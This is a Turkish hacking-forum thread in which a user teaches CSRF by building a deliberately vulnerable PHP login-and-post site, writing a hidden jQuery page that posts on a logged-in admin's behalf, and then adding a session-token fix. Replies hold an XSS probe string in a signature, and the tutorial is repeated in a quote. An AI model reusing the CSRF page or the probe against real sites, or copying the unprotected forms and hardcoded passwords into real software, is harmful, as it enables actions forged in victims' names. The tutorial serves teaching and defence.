Csrf Xsrf Açığı Sömürme Ve Fixleme İşlemleri

'CaptainKanka

O Şimdi Asker!
14 Eki 2012
1,683
1,257
localhost/admin.php
Merhaba Dostlar

Bu gün sizlere csrf açığının nasıl oluştuğunu anlatmaya çalışacağım.
Açığı temel anlamda tanıtacak olursak aynı web tarayıcı üstünde açılan yeni bir sayfanın siz farketmeden sizin adınıza istenilen sitede işlem yapabilmesi olarak tanımlayabiliriz.
Örneğin tarayıcıda banka hesabınız açıkken sizin tıkladığınız site istenilen yerlere istek atarak sizin hesabınızdan başka bir hesaba para aktarımı yapabilir.
Veya facebook gibi bir sitede sizin üyeliğiniz açıkken şifrenizi değiştirebilir veya adınıza paylaşım veya mesaj atabilir.
Bu açığın oluşma sebebi siteler sizin bilgilerinizi sizin tarayıcınızda tutar. Ve sizin tarayıcınızdan sizi tanır ve sizin hesabınıza bağlantı yapmasını sağlar.
Böylelikle sizin tarayıcınızdan yapılan istek sizin hesabınız üstünden yapılmış olur ve hack işlemi gerçekleşir.
Tabi ki büyük siteler bu açıkları fixledi ancak çoğu sitede hala mevcut.
Özellikle bir framework üstüne yazılmamış sitelerde.
Şimdi ben buna ithafen bir basit web sitesi yazıp açığı nasıl sömürdüğümüzü anlatacağım.
Site dosyalarını en aşağıda paylaşacağım.

HTML:
<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title>Giriş</title>
  </head>
  <body>
    <form action="login.php" method="post">
      <input type="text" name="kadi"><br>
      <input type="password" name="sifre" ><br>
      <button type="submit" name="submit">Giriş</button>
    </form>
  </body>
</html>

Gördüğünüz gibi burada giriş işlemi yapılıyor ve login.php ye istek atıyor

PHP:
<?php

if (isset($_POST['submit'])) {
  $kadi=htmlspecialchars($_POST['kadi']);
  $sifre=htmlspecialchars($_POST['sifre']);

if ($kadi=='admin' and $sifre=='123') {
  session_start();
  $_SESSION['kadi']=$kadi;
  $_SESSION['login']='true';
  header('location:anasayfa.php');
  exit;
}elseif ($kadi=='hacker' and $sifre=='123') {
  session_start();
  $_SESSION['kadi']=$kadi;
  $_SESSION['login']='true';
  header('location:anasayfa.php');
  exit;
}else{
  echo 'Kullanıcı adı veya şifre yanlış';
  exit;
}
}
?>

Burada anlaşılır olması için 2 adet kullanıcı ekledim ve bu kullanıcıların birisi admin ve anasayfa.php de paylaşım yapabiliyor. Diğeri hacker adlı kullanıcı bu sayfada paylaşım yapamıyor.
anasayfa.php yide bir şifre değiştirme sayfası veya facebook hesabından anasayfaya paylaşım yapılan yer olarak düşünebilirsiniz.
şimdi anasayfa.php

PHP:
<?php
session_start();
  if ($_SESSION['login']!='true') {
    echo 'giriş yapın';
    session_destroy();
    exit;
  }
include('vt.php');

?>
<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title>Ekran</title>
  </head>
  <body>
    <form action="anasayfa.php" method="post">
      <input type="text" name="yazi">
      <button type="submit" name="submit">Paylaş</button>
    </form>
    <?php
    if (isset($_POST['submit'])) {
      if ($_SESSION['kadi']!='admin') {
        echo 'Paylaşma Hakkınız Yok';
        exit;
      }
      $yazi=htmlspecialchars($_POST['yazi']);
      $SqlSorgusu = "INSERT INTO yazi (yazi) VALUES (:yazi)";

    $st = $db->prepare($SqlSorgusu);

    $st->bindParam(':yazi', $yazi,PDO::PARAM_STR);
    $st->execute();
    }
include('vt.php');

$db = $db->prepare("SELECT * FROM yazi order by id desc");

$db->execute();

// Verileri çekmek için fetchAll() yöntemini kullanın
$oku = $db->fetchAll(PDO::FETCH_ASSOC); //verilerin hepsi eğer birini alacaksak sadece fetch olacaktı

foreach ($oku as $row) {
extract($row);
echo $yazi.'<br>';
}


?>
  </body>
</html>

En önemli nokta bu sayfa.
Bu sayfada senaryomuz şöyle burası kullanıcıların anasayfada paylaşım yeri olsun.
hacker ise burada paylaşım yapamıyor. ben bunu düzgün kodlamadım ama anlaşılır olması için adminden başkasına paylaştırtmadım.
Bu sayfada form'da action da anasayfa.php ye post isteği atıyor.
ve post isteğinde 2 adet veri gönderiyor. bunlar
yazi
submit
biz bu ekranı hacker alanından görebiliyoruz çünkü facebook ta paylaşım atılan ekran herkesin aynı veya şifre değiştirme ekranı.
şimdi biz burada verilerin nereye gittiğini ve hangi postların istek atıldığını biliyorsak bir js kodunun gömülü olduğu bir web sayfasının linkini kurbana atarsak bu sayfa çalıştırıldığında bu alandan admin adına istek atabiliriz.

JavaScript:
<script src="https://code.jquery.com/jquery-3.6.4.js"></script>
    <script type="text/javascript">
      $.post('http://localhost/csrf/anasayfa.php', {
        'yazi': 'hacker yazisi',
        'submit':''
      })
    </script>

burada $.post('http://localhost/csrf/anasayfa.php' alanına formda istek gönderilen anasayfa.php olduğu için onu ekledik.
Başınada http://localhost/csrf/ i site adı olarak ekledik.
'yazi': 'hacker yazisi'
buradada input name olarak yazi verildiği için başa yazi yazıp yanındaki yere ise paylaşılmasını istediğimiz veriyi yazdık.
'submit':''
ve butonun name değeri submit olduğu için onuda post isteğine ekledik.
anlaşılır olması için bu csrf sayfasının tamamını buraya ekliyorum siz buna resim yazı vs ekleyebilirsiniz.

HTML:
<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title>csrf</title>
  </head>
  <body>
    deneme
    <script src="https://code.jquery.com/jquery-3.6.4.js"></script>
    <script type="text/javascript">
      $.post('http://localhost/csrf/anasayfa.php', {
        'yazi': 'hacker yazisi',
        'submit':''
      })
    </script>
  </body>
</html>

Burada sadece ekranda deneme yazacak ancak arkaplanda istenilen sayfaya istek atacak.
artık deneme vakti
kullanıcı adı admin şifre 123



herhangi bir post atıyorum



ekrana düşüyor



zararlı kodlarımın olduğu sayfayı çalıştırıyorum



ekrana zararlı koddan basılan veri düşüyor



Artık fixleme işlemine geçebiliriz.

Yapmamız gereken şey login işlemi olduktan sonra bir token oluşturup bunu $_session['csrf_token'] değişkeninde tutmak.

$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

sonrasında bu veriyi anasayfadaki formda gözükmeyen input olarak vermek

<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">

sonrasında ise anasayfa.php de formdan gelen verilerin işlendiği kısıma
formdan gelen token ile kendi tokenımızın eşit olup olmadığını kontrol etmek

$csrf_token=htmlspecialchars($_POST['csrf_token']);
if ($_SESSION['csrf_token']!=$csrf_token) {
echo 'Hackleyemedin yiğidim :)';
exit;
}

İşlemler bu kadar.

Csrf açıklı site dosyaları için tıklayın

Virüs Total
Açığın fixlenmiş halindeki dosyalar için tıklayın
Virüs Total
İyi Forumlar


Video Anlatım

 

P4$A

Anka Emektar
13 Tem 2021
1,488
2,818
23
";-alert(1)-//
Eline Sağlık Abi Yine Döktürmüşsün.
XSS Türlerinin de konusu gelir mi peki ? ( cookie based, dom based, stored ,blind ,reflected xss gibi )
 

The Gölge

Saldırı Timleri Emektar
en az 1 hafta önümüzde ki hafta gelicem de önce hanımcılık kazanıyor :)


gene mi vizelerin var. :trl
Vay be Boybox abime bak sen git o kadar hacker ol iki soğan seni ağlatsın :D

Merhaba Dostlar

Bu gün sizlere csrf açığının nasıl oluştuğunu anlatmaya çalışacağım.
Açığı temel anlamda tanıtacak olursak aynı web tarayıcı üstünde açılan yeni bir sayfanın siz farketmeden sizin adınıza istenilen sitede işlem yapabilmesi olarak tanımlayabiliriz.
Örneğin tarayıcıda banka hesabınız açıkken sizin tıkladığınız site istenilen yerlere istek atarak sizin hesabınızdan başka bir hesaba para aktarımı yapabilir.
Veya facebook gibi bir sitede sizin üyeliğiniz açıkken şifrenizi değiştirebilir veya adınıza paylaşım veya mesaj atabilir.
Bu açığın oluşma sebebi siteler sizin bilgilerinizi sizin tarayıcınızda tutar. Ve sizin tarayıcınızdan sizi tanır ve sizin hesabınıza bağlantı yapmasını sağlar.
Böylelikle sizin tarayıcınızdan yapılan istek sizin hesabınız üstünden yapılmış olur ve hack işlemi gerçekleşir.
Tabi ki büyük siteler bu açıkları fixledi ancak çoğu sitede hala mevcut.
Özellikle bir framework üstüne yazılmamış sitelerde.
Şimdi ben buna ithafen bir basit web sitesi yazıp açığı nasıl sömürdüğümüzü anlatacağım.
Site dosyalarını en aşağıda paylaşacağım.

HTML:
<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title>Giriş</title>
  </head>
  <body>
    <form action="login.php" method="post">
      <input type="text" name="kadi"><br>
      <input type="password" name="sifre" ><br>
      <button type="submit" name="submit">Giriş</button>
    </form>
  </body>
</html>

Gördüğünüz gibi burada giriş işlemi yapılıyor ve login.php ye istek atıyor

PHP:
<?php

if (isset($_POST['submit'])) {
  $kadi=htmlspecialchars($_POST['kadi']);
  $sifre=htmlspecialchars($_POST['sifre']);

if ($kadi=='admin' and $sifre=='123') {
  session_start();
  $_SESSION['kadi']=$kadi;
  $_SESSION['login']='true';
  header('location:anasayfa.php');
  exit;
}elseif ($kadi=='hacker' and $sifre=='123') {
  session_start();
  $_SESSION['kadi']=$kadi;
  $_SESSION['login']='true';
  header('location:anasayfa.php');
  exit;
}else{
  echo 'Kullanıcı adı veya şifre yanlış';
  exit;
}
}
?>

Burada anlaşılır olması için 2 adet kullanıcı ekledim ve bu kullanıcıların birisi admin ve anasayfa.php de paylaşım yapabiliyor. Diğeri hacker adlı kullanıcı bu sayfada paylaşım yapamıyor.
anasayfa.php yide bir şifre değiştirme sayfası veya facebook hesabından anasayfaya paylaşım yapılan yer olarak düşünebilirsiniz.
şimdi anasayfa.php

PHP:
<?php
session_start();
  if ($_SESSION['login']!='true') {
    echo 'giriş yapın';
    session_destroy();
    exit;
  }
include('vt.php');

?>
<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title>Ekran</title>
  </head>
  <body>
    <form action="anasayfa.php" method="post">
      <input type="text" name="yazi">
      <button type="submit" name="submit">Paylaş</button>
    </form>
    <?php
    if (isset($_POST['submit'])) {
      if ($_SESSION['kadi']!='admin') {
        echo 'Paylaşma Hakkınız Yok';
        exit;
      }
      $yazi=htmlspecialchars($_POST['yazi']);
      $SqlSorgusu = "INSERT INTO yazi (yazi) VALUES (:yazi)";

    $st = $db->prepare($SqlSorgusu);

    $st->bindParam(':yazi', $yazi,PDO::PARAM_STR);
    $st->execute();
    }
include('vt.php');

$db = $db->prepare("SELECT * FROM yazi order by id desc");

$db->execute();

// Verileri çekmek için fetchAll() yöntemini kullanın
$oku = $db->fetchAll(PDO::FETCH_ASSOC); //verilerin hepsi eğer birini alacaksak sadece fetch olacaktı

foreach ($oku as $row) {
extract($row);
echo $yazi.'<br>';
}


?>
  </body>
</html>

En önemli nokta bu sayfa.
Bu sayfada senaryomuz şöyle burası kullanıcıların anasayfada paylaşım yeri olsun.
hacker ise burada paylaşım yapamıyor. ben bunu düzgün kodlamadım ama anlaşılır olması için adminden başkasına paylaştırtmadım.
Bu sayfada form'da action da anasayfa.php ye post isteği atıyor.
ve post isteğinde 2 adet veri gönderiyor. bunlar
yazi
submit
biz bu ekranı hacker alanından görebiliyoruz çünkü facebook ta paylaşım atılan ekran herkesin aynı veya şifre değiştirme ekranı.
şimdi biz burada verilerin nereye gittiğini ve hangi postların istek atıldığını biliyorsak bir js kodunun gömülü olduğu bir web sayfasının linkini kurbana atarsak bu sayfa çalıştırıldığında bu alandan admin adına istek atabiliriz.

JavaScript:
<script src="https://code.jquery.com/jquery-3.6.4.js"></script>
    <script type="text/javascript">
      $.post('http://localhost/csrf/anasayfa.php', {
        'yazi': 'hacker yazisi',
        'submit':''
      })
    </script>

burada $.post('http://localhost/csrf/anasayfa.php' alanına formda istek gönderilen anasayfa.php olduğu için onu ekledik.
Başınada http://localhost/csrf/ i site adı olarak ekledik.
'yazi': 'hacker yazisi'
buradada input name olarak yazi verildiği için başa yazi yazıp yanındaki yere ise paylaşılmasını istediğimiz veriyi yazdık.
'submit':''
ve butonun name değeri submit olduğu için onuda post isteğine ekledik.
anlaşılır olması için bu csrf sayfasının tamamını buraya ekliyorum siz buna resim yazı vs ekleyebilirsiniz.

HTML:
<!DOCTYPE html>
<html lang="en" dir="ltr">
  <head>
    <meta charset="utf-8">
    <title>csrf</title>
  </head>
  <body>
    deneme
    <script src="https://code.jquery.com/jquery-3.6.4.js"></script>
    <script type="text/javascript">
      $.post('http://localhost/csrf/anasayfa.php', {
        'yazi': 'hacker yazisi',
        'submit':''
      })
    </script>
  </body>
</html>

Burada sadece ekranda deneme yazacak ancak arkaplanda istenilen sayfaya istek atacak.
artık deneme vakti
kullanıcı adı admin şifre 123



herhangi bir post atıyorum



ekrana düşüyor



zararlı kodlarımın olduğu sayfayı çalıştırıyorum



ekrana zararlı koddan basılan veri düşüyor



Artık fixleme işlemine geçebiliriz.

Yapmamız gereken şey login işlemi olduktan sonra bir token oluşturup bunu $_session['csrf_token'] değişkeninde tutmak.

$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

sonrasında bu veriyi anasayfadaki formda gözükmeyen input olarak vermek

<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">

sonrasında ise anasayfa.php de formdan gelen verilerin işlendiği kısıma
formdan gelen token ile kendi tokenımızın eşit olup olmadığını kontrol etmek

$csrf_token=htmlspecialchars($_POST['csrf_token']);
if ($_SESSION['csrf_token']!=$csrf_token) {
echo 'Hackleyemedin yiğidim :)';
exit;
}

İşlemler bu kadar.

Csrf açıklı site dosyaları için tıklayın

Virüs Total
Açığın fixlenmiş halindeki dosyalar için tıklayın
Virüs Total
İyi Forumlar
Eline sağlık abi on numara olmuş. Bir out of band sql injection gelir mi :)
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.